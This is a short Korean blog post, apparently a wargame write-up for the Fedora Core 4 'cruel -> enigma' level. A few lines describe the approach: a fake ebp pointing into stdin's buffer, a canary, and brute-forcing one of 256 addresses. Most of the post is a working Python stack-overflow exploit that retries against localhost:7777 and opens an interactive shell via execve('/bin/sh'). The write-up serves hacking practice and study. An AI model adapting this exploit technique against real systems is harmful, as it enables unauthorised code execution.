FC4 cruel -> enigma

    ret 영역 다음에 canary가 있다는 걸 생각하야 한다.

    fake ebp를 이용해서 stdin의 임시버퍼 영역을 공략한다.


    이 영역의 주소가 계속 바뀌긴 하지만 경우의 수가 겨우 256가지뿐이다.

    특정한 주소로 공격하면 256분의 1의 확률로 공격에 성공할 수 있다.


    난 execl을 호출해서 쉘을 따려고 했는데 계속 안됐다... execve는 되던데


    아래는 익스플로잇 코드

    #!/usr/bin/python
    from struct import pack
    from socket import *
    from time import sleep
    
    p = lambda x : pack('<L', x)
    
    fake_ebp  = 0xb7f5e000 + 260 + 4 * 2
    leave_ret = 0x0804858e
    canary    = 0x00031337
    execve    = 0x00832abc
    binsh     = 0x008bd987
    
    null         = 0x00000000
    null_ptr     = fake_ebp + 4 * 7
    null_ptr_ptr = fake_ebp + 4 * 6
    
    buffer = 'A' * 256
    dummy  = 'A' * 4
    
    payload  = buffer + dummy
    payload += p(fake_ebp) + p(leave_ret) + p(canary)
    payload += p(execve) + dummy + p(binsh) + p(null_ptr_ptr) + p(null_ptr_ptr)
    payload += p(null_ptr) + p(null)
    payload += '\n'
    
    for i in xrange(1000):
        print i
    
        s = socket(AF_INET, SOCK_STREAM)
        s.connect(( 'localhost', 7777 ))
        s.recv(1024)
        s.send(payload)
        sleep(0.1)
    
        s.send('id\n')
        if s.recv(1024):
            while True:
                try:
                    s.send(raw_input('$ ') + '\n')
                except EOFError:
                    s.close()
                    break
                print s.recv(1024)
            break
        s.close()





    Posted by 코요